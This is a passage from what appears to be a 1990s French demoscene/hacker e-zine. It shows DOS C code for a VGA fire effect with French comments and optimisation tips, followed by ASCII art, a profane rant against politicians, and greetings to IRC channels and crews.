void wait_for_screen()
{
    while(inp(0x3DA)&0x08);
    while(!(inp(0x3DA)&0x08));
}

void main()
{

    printf("Fire effect\n");
    printf("Coded by SaTaNiK\n");

    //ALLOUE DE LA MEMOIRE POUR LE BUFFER
    buffer=(unsigned char *)malloc(64000);
    if(buffer==NULL)
    {
        printf("Pas assez de mmoire...\n");
        exit(1);
    }
    //REMPLIT LE BUFFER DE 0
    memset(buffer,0,64000);
    getch();

    //PASSE EN MODE GRAPHIQUE
    change_mode(0x13);

    //FAIT UNE PALETTE EN NOIR ET BLANC
    for(index=0;index<256;index++)
    {
        r=index/4;
        g=index/4;
        b=index/4;
        set_palette(index);
    }

    //BOUCLE TANT QUE PAS DE TOUCHE APPUYE
    while(!kbhit())
    {
        //REMPLIE LA LIGNE DU BAS DE 0
        memset(buffer+(320*199),0,320);

        //MET 50 POINTS AU HASARD DANS LA LIGNE DU BAS
        //VOUS POUVEZ AUGMENTEZ CECI POUR DE PLUS GRANDES FLAMMES
        for(index=0;index<50;index++)
        {
            aleat=ALEA(320);
            pixel(aleat,199,255);
        }

        //FAIT MONTER LES FLAMMES
        for(index=0;index<199;index++)
        {
            for(index2=0;index2<320;index2++)
            {
                couleur=(buffer[index2+((index+1)*320)]);
                pixel(index2,index,couleur);
            }
        }

        //FAIT UN BLUR
        for(index=198;index>0;index--)
        {
            for(index2=0;index2<320;index2++)
            {
                //FAIT LA MOYENNE DE CE QUI ENTOURE LE PIXEL
                couleur=(buffer[((index)*320)+index2-1] + buffer[((index)*320)+index2+1] + buffer[((index+1)*320)+index2] + buffer[((index-1)*320)+index2])/4;
                pixel(index2,index,(unsigned char)couleur);
            }
        }
        //ATTEND L'ECRAN
        wait_for_screen();
        //AFFICHE LE BUFFER
        show_buffer();
    }
    //REMET L'ECRAN EN MODE TEXTE
    change_mode(0x03);
}
******************************************************************************

Si vous regardez bien le code, je ne copie pas la dernire ligne car elle est
trop Blanche par rapport aux autres lignes.....donc je la laisse noir et
on n'y voit que du feu(hh jeu de mot dbile).

Bon voyons maintenant les moyens d'optimiser ce feu: on peut faire le truc
classique et faire une table pour les y, histoire d'viter un tas de
multiplication...ce qui acclre nettement la chose:
******************************
for(index=0;index<200;index++)
{
        tabley[index]=y*320;
}
******************************

Bon sinon on pourrait essayer d'optimiser en asm....si qqun veut essayer et
arrive  de bons resultats je publie son oeuvre ;). Sinon je le ferais moi
mmme :).

Sinon je met la version executable avec le zine(fire.exe). Ha je met
aussi ma version personelle, c'est quasiment le mmme code que plus haut
mais optimis et pour mode protg(Dos4gw)...et pis on y voit aussi des
cubes qui brulent...(Perso.exe)

<SaTaNiK>

******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************


                                 ********
                                "Epilogue"
                                 ********

        Putain de politiciens, ils m'enervent de plus en plus, je dis pas
a seulement pour Le-Pen, car je pense(et je suis sur) que tout les
politiciens sont des SALAUDS!!!!! J'dis a parce que  voir comment
ils se battent aux elections et ce qu'ils foutent une fois elu a
m'enerve!!!!!!! Rha je vous emmerde tous les ptits politicards  la
con!!!! Bon voil c'tait un ptit coup de gueule ;)). Bein sinon l c'est
la rentre alors je vais voir si j'ai le temps de continuer le mag :).

GrEeTiNgS:
-French scene
-#pirate(le dernier channel hack pas trop naze ;))
-SqUaB
-Lagoon
-Hurr|cane
-Prezz
-#nOpast
-Psykaos(il a reussi  m'expliquer ce qu'tais le log que j'ai publi dans 1)
-Tout ceux qui se bougent le cul!!!!!!
-Stage9 MusicDisk(que j'ecoute en crivant, l'est bein chouette)

FuCk HaRd:
-#warezfrancais(hh j'suis bannit pour flood ;))
-Le warez en gnral
-Les Mp3z(mais c du warez non?)
-MiCrOsUcK
-Bond007(toi le petit con!!!)
-Politiciens  la con(tous en fait...)

Billou Le SaTaNiK

http://members.xoom.com/SaTaNoS/
